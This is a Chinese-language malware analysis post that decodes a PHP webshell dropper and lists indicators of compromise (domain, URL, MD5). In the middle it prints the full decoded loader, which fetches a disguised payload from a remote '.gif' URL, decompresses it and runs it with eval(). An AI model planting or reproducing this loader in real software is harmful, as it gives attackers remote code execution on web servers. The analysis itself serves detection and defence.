阅读: 87
但是代码量却非常少:
不由得非常好奇它是如何用这么少的代码实现这么丰富的功能的。于是将它的 html 内容打印一下:
发现它的内容是gz压缩后再base64加密的:
于是反向执行一下,得到原始内容:
error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
$c = '';
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
if (function_exists('fsockopen')) {
$link = parse_url($url);
$query = $link['path'];
$host = strtolower($link['host']);
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if ($fp) {
$out = "GET /{$query} HTTP/1.0\r\n";
$out .= "Host: {$host}\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$inheader = 1;
$contents = "";
while (!feof($fp)) {
$line = fgets($fp, 4096);
if ($inheader == 0) {
$contents .= $line;
}
if ($inheader && ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
}
fclose($fp);
$c = $contents;
}
}
if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$c = curl_exec($ch);
curl_close($ch);
}
if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
$temps = @file($url);
if (!empty($temps))
$c = @implode('', $temps);
if (!strpos($c, "delDirAndFile"))
$c = @file_get_contents($url);
}
if (strpos($c, $urlNew) !== false) {
$c = str_replace($urlNew, "", $c);
$_SESSION["phpapi"] = gzinflate(base64_decode($c));
}
}
if (isset($_SESSION["phpapi"])) {
eval($_SESSION["phpapi"]);
}
其中请求的url为:
http://phpapi.info/404.gif
用于替换的urlNew为:
/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/
将内容读出来之后,base64解码在用gz解压缩:
拿到原始的webshell文件(文件大概2960行,所以不贴全部的代码,只看一下头几行以及行数。需要的可以自己用上面的还原代码将gif内容还原为PHP文件):
该php的内容需要读取之后,放在eval()函数里执行,类似于:
eval(file_get_contents("/home/wwwroot/default/tmp.php"));
?>
整体的流程为:
所以,域名: phpapi.info 为恶意域名,上面的gif文件( http://phpapi.info/404.gif )不是普通的图片而是webshell代码。IOC:
domain:phpapi.info
url:/404.gif
md5:f1c4842de714e7480e69f41540c3626b